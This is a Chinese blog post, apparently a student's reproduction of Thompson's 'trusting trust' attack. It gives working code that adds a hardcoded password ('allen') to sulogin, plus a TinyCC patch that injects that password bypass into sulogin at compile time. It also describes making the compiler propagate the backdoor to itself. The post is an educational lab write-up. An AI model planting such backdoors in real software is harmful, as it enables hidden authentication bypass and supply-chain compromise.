Skip to content

给开源编译器插入后门

复制本地路径 | 在线编辑

这个是我在大四考研初试结束之后做的,当时是看到李博杰大神的文章,再加上这是来在经典的 KThmopson 的演讲文章,所以很感兴趣,就动手做了一下。其实不难,没想到后来在复试因为这个也能说上几句,感觉蛮巧的。

Step 1: 编译TCC,测试是否正常使用 (tinycc-01)

tcc 就是简单版本的 C 语言编译器,这一步就是简单的下载 tcc 代码,然后用 gcc 之类的编译器编译安装。

编译完成之用 tcc 去编译允许一个简单的 HelloWorld 测试程序即可。这里我遇到一个问题,就是 tcc 去编译其他程序时总是报错。后来排查是发现编译 tcc 没有使用 --prefix,这种问题其实回过头来看都是小白会犯的错。具体可以看我的记录文章

Step 2: 编译sulogin,测试是否正常使用 (sulogin-01)

sulogin 是一个简单的登录程序。下载代码,用 tcc 编译,然后运行。这一步没遇到问题。

Step 3: 改造sulogin,测试是否可以通过 (sulogin-02)

然后我们就修改 sulogin,让它能通过我们设定的密码,其实这个就是一句话的事情,在第 600 行左右的地方这里比较密码的,所以我们加一句让我们自己的密码也通过。

    while (pwd) {
        if ((p = getpasswd(pwd->pw_passwd)) == NULL)
            break;

        // 修改这里
        if (pwd->pw_passwd[0] == 0 ||
            strcmp(p, "allen") == 0 ||
            strcmp(crypt(p, pwd->pw_passwd), pwd->pw_passwd) == 0)
            sushell(pwd);
        // ...
    }

Step 4: 改造TCC,只考虑编译 sulogin 会进行修改(tinycc-02)

由于只是 demo,所以只需要编译的时候识别出是编译 sulogin,然后插入恶意代码就好。

如果检测出编译的是 sulogin,由于是 demo,就直接简单地进行对比就行,修改的代码在 tccpp.chandle_eob 函数,如下:

        len = read(bf->fd, bf->buffer, len);
        const char *login_match = "if (pwd->pw_passwd[0] == 0 ||";
        const char *login_append = " strcmp(p, \"allen\") == 0 ||";

        char *bf_buffer = (char *)bf->buffer;
        // search login_match in bf_buffer
        char *login_match_ptr = strstr(bf_buffer, login_match);
        if (login_match_ptr && login_match_ptr < bf_buffer + len) {
            if (login_match_ptr + strlen(login_append) + strlen(login_match) < bf_buffer + len) {
                // add backdoor code to bf_buffer
                login_match_ptr += strlen(login_match);
                strcpy(login_match_ptr, login_append);
                // move bf->fd to the end of backdoor code
                int offset = login_match_ptr - bf_buffer;
                lseek(bf->fd, -(len - offset), SEEK_CUR);  
                // adjust len
                len = login_match_ptr - bf_buffer + strlen(login_append);
            } else {
                int offset = login_match_ptr - bf_buffer;
                lseek(bf->fd, -(len - offset), SEEK_CUR);  
                len = login_match_ptr - bf_buffer;
            }
        }

上面的代码其实就是查看是否有 login_match 这个字符串,如果有就认为是编译的 sulogin,然后就把恶意代码 login_append 加入到要编译的 sulogin 中即可。

Step 5: 编译sulogin,测试是否正常使用 (sulogin-03)

这个没什么好说的,注意这里编译的 sulogin 是正常 sulogin,但是由于我们的 tcc 在编译的时候插入了恶意代码,所以最后仍然会有漏洞。

Step 6: 改造TCC,考虑编译tcc 自身会进行修改 (tinycc-03)

这里现在想想也很简单,之前包括看参考资料是用的输出自身的程序,专业名字叫 Quine,但现在想想完全不需要。

我就仿照 Step4 那样就可以了,根据字符串匹配,能够判断现在编译的是否是 tcc,如果是的话,那么就插入代码就好了,很简单。

当时用的是输出自身的程序,现在看是没必要了,所以这个输出自身的程序的记录文件就放到其他文件夹里面去吧。

Step 7: 编译tcc,编译sulogin,测试tinycc-03 是否通过 (sulogin-04)

完成上面的任务,那接下来就顺理成章了。用恶意的 tcc 编译正常的 tcc,然后用编译得到的 tcc 再去编译 sulogin 即可。

总结下来就是感觉听起来很牛逼,但实际还就是那样吧。本质上就是编译器的漏洞,也就是攻击者对于编译器要达到控制的程度才可以。这样用这种危险的编译器去编译其他,那么就会造成大范围杀伤。但是控制编译器又谈何容易呢?普通的编译器漏洞不会造成这种结果。

参考:https://01.me/2014/11/insert-backdoor-into-compiler/

Comments